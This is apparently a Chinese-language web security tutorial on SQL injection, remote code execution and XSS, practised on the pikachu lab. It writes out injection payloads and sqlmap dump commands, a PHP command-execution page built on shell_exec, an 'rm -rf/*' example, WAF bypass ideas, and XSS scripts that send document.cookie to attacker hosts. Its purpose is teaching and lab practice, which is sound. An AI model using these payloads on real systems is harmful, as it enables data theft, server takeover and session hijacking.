三、Web安全-漏洞
1. SQL 注入
1.1 pikachu靶场环境安装
下载地址:https://github.com/zhuifengshaonianhanlu/pikachu
AI 代码解读
1、下载pikachu-master安装包
2、在phpstudy的www目录下解压
3、更改WWW\pikachu-master\inc 目录下的config.inc.php文件
4、开启phpstudy,在浏览器中访问网站
开启小皮服务
如果在物理机,需要先把mysql服务关掉,然后打开小皮启动mysql
services.msc
AI 代码解读
访问成功
5、初始化成功
1.2 SQL注入原理
在数据交互中,前端的数据传入到后台进行处理时,没有做严格的判断,过滤。
导致传入的“数据”拼接到SQL语句中后,被当作SQL语句的一部分执行。
从而导致数据库受损(被脱裤、数据被删除、甚至整个服务器权限沦陷)。
1.3 判断注入点
漏洞可能存在的地方
1.3.1 登录框
万能密码
假设原验证登陆语句:
SELECT * FROM admin WHERE Username= '".$username."' AND Password= '".md5($password)."'
AI 代码解读
输入 1′ or 1=1 or ‘1’=’1万能密码语句变为:
SELECT * FROM admin WHERE Username='1' OR 1=1 OR '1'='1' AND Password='EDFKGMZDFSDFDSFRRQWERRFGGG'
AI 代码解读
不管密码是什么都能登录成功,达到后面的语句无论是什么都不会被提交
优先级or > and > not
1.3.2 查询
1.3.3 订单处理
在类似淘宝订单提交处,有一个控制id提交的地方,可能存在SQL注入
1.3.4 获取http头功能点
X-forward-for字段可能将数据记录进数据库,存在数据交互
cookie也会存放到数据库,有cookie的地方也有注入
user-Agent也可能把浏览器的指纹信息放到数据库
Referer字段也可能
1.4 注入点查看
1.报错注入
有注入一定有响应,通过页面的报错信息判断
2.盲注(页面不返回错误信息)
1.布尔盲注
一般通过
1‘and 1=1#
判断
还可以观察字节长度来判断结果
不成立的时候返回的是同一个页面,成立是另一个
2.时间盲注
kobe'+and+sleep(5)--+
如果成立的话延时5秒再反应,判断是否有注入
AI 代码解读
1.5 SQL注入常见类型
报错注入
1、报错函数
updatexml (XML_document, XPath_string, new_value);
第一个参数:XML_document是String格式,为XML文档对象的名称
第二个参数:XPath_string
ExtractValue(xml_frag, xpath_expr)
xml_frag: XML 标记片段,xml语言的标签闭合内的值,
xpath_expr: XPath 表达式,匹配xml标签内的值并返回。
AI 代码解读
1'+union+select+updatexml(1,concat(0x7e,(select+database()),0x7e),1)--+
AI 代码解读
盲注
盲注一般用到的一些函数:if()、ascii()、substr()、length(),exists()、concat()等
payload:kobe'+and+ascii(substr(database(),2,1))=105--+
AI 代码解读
1.5.1 sql查询
除了查看数据库 还有会使用到的其他函数:
1、user()查当前的用户为:user() =>select user();
2、 Version();当前 mysql 的版本
union select 1,2,version()
3、 Database();当前网站使用的数据库
union select 1,2,database()
4、 User();当前 MySQL 的用户
union select 1,2,user()
5、 system_user(); 系统用户名
6、session_user();连接数据库的用户名
7、current_user;当前用户名
8、load_file();读取本地文件
9、@@datadir:读取数据库路径
10、@@basedir:mysql安装路径
9、length(str) : 返回给定字符串的长度,如 length(“string”)=6
10、substr(string,start,length) : 对于给定字符串string,从start位开始截取,截取length长度 ,如 substr(“chinese”,3,2)=“in”
substr()、stbstring()、mid() 三个函数的用法、功能均一致
11、concat(username):将查询到的username连在一起,默认用逗号分隔
concat(str1,’’,str2):将字符串str1和str2的数据查询到一起,中间用连接
12、group_concat(username) :将username数据查询在一起,用逗号连接
Columns 表存储该用户创建的所有数据库的库名、表名、字段名,要记住该表中记录数据库库名、表名、字段名为 table_schema、table_name、columns_name
1.5.2 联合查询
information_schema.schemata:
该数据表存储了mysql数据库中的所有数据库的库名
schema_name列 :其包含了当前数据库管理系统中所有的数据库
information_schema.tables:
该数据表存储了mysql数据库中的所有数据表的表名
table_name列:此列记录当前数据库管理系统中所有表的合集
table_schema列:此列记录当前数据库管理系统中所有数据库的合集
information_schema.columns:
该数据表存储了mysql数据库中的所有列的列名
AI 代码解读
字段
a' order by 1#
获取表
a' union select table schema,table name frominformation schema.tables where table schema='pikachu'#
获取字段
a' union select table name,column name frominformation schema.columns where table name='users'#
union select username,password from users#
SELECT * FROM admin WHERE Username= '".$username."' AND Password= '".md5($password)."'
SELECT * FROM admin WHERE Username='1' OR 1=1 OR '1'='1' AND Password='EDFKGMZDFSDFDSFRRQWERRFGGG'
AI 代码解读
1.6 waf绕过和sqlmap使用
1.6.1 waf绕过
1、等于号:
2、Substr,mid等
3、逗号
4、And/or
AI 代码解读
(1)WAF概念
WEB应用防护系统(Web Application Firewall)简称WAF,
是通过WEB应用防火墙专门针对HTTP/HTTPS的安全策略来为Web应用提供保护的一款产品。
在网站防护上WAF对比传统的防火墙有更加有效的防护效果。
(2)WAF主要功能
1、可拦截常见的web漏洞攻击,例如SQL注入、XSS跨站、获取敏感信息、利用开源组件漏洞的攻击等常见的攻击行为。
2、可提供0Day,NDay漏洞防护。当发现有未公开的0Day漏洞或者刚公开但未修复的NDay漏洞被利用时,WAF可以在发现漏洞到用户修复漏洞这段空档期对漏洞增加虚拟补丁,抵挡黑客的攻击,防护网站安全。
3、可以对访问请求进行控制,可以主动识别、阻断攻击流量,就如现在智能化的AI,可以发觉安全威胁对其主动进行防御。不限制于被动状态下的规则和策略去防护。
4、可以实时阻断黑客通过web漏洞试图入侵服务器、危害用户等恶意行为。
(3)WAF工作原理
WAF工作方式是对接收到的数据包进行正则匹配过滤,
如果正则匹配到与现有漏洞知识库的攻击代码相同,则认为这个恶意代码,从而对于进行阻断。
所以,对于基于规则匹配的WAF,需要每天都及时更新最新的漏洞库。
1.6.2 扫描语法
1、-u 指定目标url
2、-m url_list.txt # 使用一个包含多个url的文件进行扫描。
3、-r request.txt # Post提交方式,使用HTTP请求文件,该文件可从BurpSuit中导出。 (BurpSuit抓包-->将请求复制到txt中即可)
4、-p "username,id" # 指定要扫描的参数
5、--proxy="http://127.0.0.1:8087/" # 使用代理去扫描目标
6、--force-ssl # 使用HTTPS连接进行扫描
7、--delay="3" # 每次http请求之间的延迟时间,默认无延迟
8、--timeout="10" # 请求超时时间,浮点数,默认为30秒
9、--level
2:检测cookie中是否含有注入
AI 代码解读
3:检测user-agent、referer是否含有注入
AI 代码解读
5:检测host是否含有注入
AI 代码解读
10、--risk 默认1,最高4,等级高容易造成数据被篡改风险
11、--threads=7 #提高并发线程,默认为1,建议不要超过10,否则影响站点可用性
12、--dbms="Mysql" # 指定数据库类型,还可以加上版本 Mysql
13、--os="Windows" # 指定操作系统,还可以是Linux
1.6.3 查询语法
--users # 查询所有的数据库账号
--dbs # 查询所有数据库
--schema # 查询源数据库(包含定义数据的数据)
-a # 查询当前user、当前数据库、主机名、当前user是否是最大权限管理员、数据库账号等
-D dvwa# 指定数据库
命令:sqlmap -u http://172.23.188.13:8083/show.php?id=3 -D dvwa --tables
-T 是查看某个数据表
--columns 查看的表中的所有字段
命令:sqlmap -u http://172.23.188.13:8083/show.php?id=3 -D dvwa -T users --columns
--dump 查看所有字段的内容
--current-user # 查询当前数据库用户
--current-db # 查询当前数据库
--hostname # 查看服务器的主机名
-
- --columns # 查看所有的字段
--tables # 查看所有的表
2.远程代码执行漏洞RCE(核弹级)
RCE(任意代码执行漏洞)
Web服务
远程代码执行漏洞是因为前后端项目(黄色部分)出现漏洞,它不像常见的漏洞
它可以执行任何的命令,权限非常高,危害严重
2.1 RCE概述
2.1.1 含义
所有漏洞中危害等级最高的漏洞
含义:程序中预留了一个执行代码/命令的接口,地址的参数又可以通过前端url参数或者界面中的输入框指定,最终导致该接口被利用,控制服务器
2.1.2 PHP演示
首先将一个PHP文件放到小皮更目录下
然后打开这个php
<?php
$html='';
if(isset({
mathJaxContainer[2]}_POST['cmd'] != null){
{
mathJaxContainer[3]}_POST['cmd']);
// $html.=shell_exec($_GET['id']);
}
?>
<div id="comm_main">
<p class="comm_title">超级运维管理后台</p>
<form method="post">
<input class="ipadd" type="text" name="cmd" />
<input class="sub" type="submit" name="submit" value="提交" />
</form>
</div>
<?php echo $html;?>
AI 代码解读
最核心的函数是shell_exec,它可以从前端参数拿到一个cmd的值,并且执行它
然后打开网页
在输入任意一个命令
ipconfig
AI 代码解读
会看到显示了IP信息
同时,也可以执行Linux操作系统的命令
比如输入命令,清理所有内容
rm -rf/*
AI 代码解读
不区分两个含义
RCE=
Remote Code Execute 远程代码执行
Remote Command Execute 远程命令执
AI 代码解读
2.1.3 危害
1、窃取服务器的敏感数据、文件
2、对电脑的文件加密,实施勒索
3、运行恶意代码,比如挖矿程序
4、拒绝服务
5、作为跳板机攻击其他人
2.1.4 漏洞价值
白帽黑客成功找到Zoom的远程代码执行漏洞 获得20万美元奖励
https://baijiahao.baidu.com/s?id=1696628704159847927
微软给360白帽黑客发20万美元漏洞挖掘奖励
https://baijiahao.baidu.com/s?id=1621984874665303330
Google 提高 Android 13 漏洞赏金,最高 150 万美元
https://www.51cto.com/article/708026.html
AI 代码解读
2.1.5 漏洞发送前提
1、系统或者软件代码中使用了执行命令的函数(exec)
2、执行的命令是可以通过参数控制的(前端传参)
3、有一个可以在外网可以访问的入口(做目录扫描发现的地址)
2.2 RCE案例
2.2.1 常见RCE漏洞成因
不一定要自己调用方法,可以编写一个恶意代码,诱导服务器将木马下载下来
RCE漏洞是结果
2.2.2 RCE漏洞典型案例
网上搜索一下关键词,都有漏洞相关文章
微信RCE漏洞 OfficeRCE漏洞
AI 代码解读
2.3 RCE挖掘
公开的可以使用Nday,复现RCE漏洞
2.3.1 分析方法
1、黑盒
只给一个ip、域名
AI 代码解读
抓包中出现了以下参数名,可能存在漏洞
exec=?、command=?、execute?、ping=?、
include=?、exclude=?、jump=?、code=?、reg=?、
do=?、func=?、arg=?、option=?、load=?、
process=?、step=?、read=?、function=?、req=?、
feature=?、exe=?、module=?、payload=?、run=?、
print=?
AI 代码解读
用漏洞扫描软件可以更加全面
2、白盒、逆向
公司在产品上线前做代码审计,直接能看到源码
AI 代码解读
直接在代码中搜索这些内容,看在哪些地方被调用
相关函数
PHP
system()、exec()、shell_exec()、pcntl_exec()、popen()、proc_popen()、passthru()、
eval()……
Java
Runtime.getRuntime().exec()……
Python
os.system()、os.popen()、subprocess.call()、os.spawn()……
AI 代码解读
还可以通过everthing搜索
选择高级搜索
安全相关社区、论坛
freebuf
t00ls
看雪
卡饭
先知
微步
吾爱
AI 代码解读
2.4 RCE防御
2.4.1 防御思路
1、从入口(HTTP流量)防御(自研)
2、产品升级(开源、采购或者使用第三方组件)
3、白名单(命令、IP)
4、安全产品(waf,花钱,联网更新)
5、编码、配置角度(关闭高危函数)
有些漏洞发生在客户端,只能使用强制更新才能使用,来修补漏洞
AI 代码解读
2.4.2 常见绕过思路
等价函数
大小写绕过
双写绕过
编码绕过
特殊字符绕过
…… https://blog.csdn.net/qq_41315957/article/details/118855865
AI 代码解读
3. XSS漏洞
XSS,即跨站脚本攻击
是指攻击者利用Web服务器中的代码漏洞,在页面中嵌入客户端脚本
(通常是一段由JavaScript编写的恶意代码)
当信任此Web服务器的用户访问 Web站点中含有恶意脚本代码的页面,用户浏览器会自动加载并执行该恶意代码,从而达到攻击的目的。
XSS分类一般如下: 1、反射型XSS 2、存储型XSS 3、DOM型XSS
AI 代码解读
JS可以干嘛
alert(1) //弹出1
<script>alert(1)</script>
alert(document.cookie) //弹出当前cookie
<script>alert(document.cookie)</script>
document.location = 'http://www.baidu.com'
。。。。。(JS代码可以随便写想干嘛就干嘛)
AI 代码解读
3.1 反射型XSS漏洞
反射型XSS,也称为非持久性XSS,是最常见的一种XSS
AI 代码解读
低危漏洞,没什么用
打开pikachu靶场,我们选择Cross-Site-Scripting下的反射型(get)
输入1
返回
提交kobe,返回正确的值
我们打开检查
现在尝试输入
<script>alert(1)</script>
AI 代码解读
发现输入框被限制长度
我们把它长度改为200
然后提交,确实出现弹窗,JS代码被执行
会发现,代码已经被嵌入进去,被当成JS解析
但是刷新一次页面,JS代码会消失,服务器不会永远存在(反射型XSS)
3.2 存储型XSS漏洞
存储型XSS,也称为持久性XSS,JS代码会存在后台
我们输入的记录,它会保存下来
现在尝试输入JS代码
<script>alert(1)</script>
AI 代码解读
嵌入到服务器中,每次提交数据都会执行JS代码
永久性保存到服务器
3.3 DOM型XSS漏洞
DOM型XSS,其实也是一种反射型,但是输入的语句不是JS的语句,是DOM语法
DOM全称Document Object Model
是一个与平台、编程语言无关的接口
它允许程序或脚本动态地访问和更新文档内容、结构和样式,处理后的结果能够成为显示页面的一部分
我们输入123123
会发现被写入标签中
DOM型没有太大危害,也没法被利用
3.4 利用XSS如何实现攻击
将电脑的cookie信息发送到xxx.com上
document.location = 'http://www.xxx.com/cookie.php?cookie='+document.cookie;
AI 代码解读
用户会访问该页面,浏览器会将用户的kookie信息发送到黑客电脑
案例
假设用户界面是首页
黑客页面是XSS后台
黑客后台
通过这里才看到搜集的cookie
这里是黑客接收cookie的页面
下面JS代码是将跳转的黑客的页面,并将cookie发过去,谁访问该页面,就将cookie发过去
<script>document.location = 'http://xss.com/pkxss/xcookie/cookie.php?cookie='+document.cookie;</script>
AI 代码解读
我们在黑客的页面提交
提交之后,在用户的界面看到留言
然后去查看cookie结果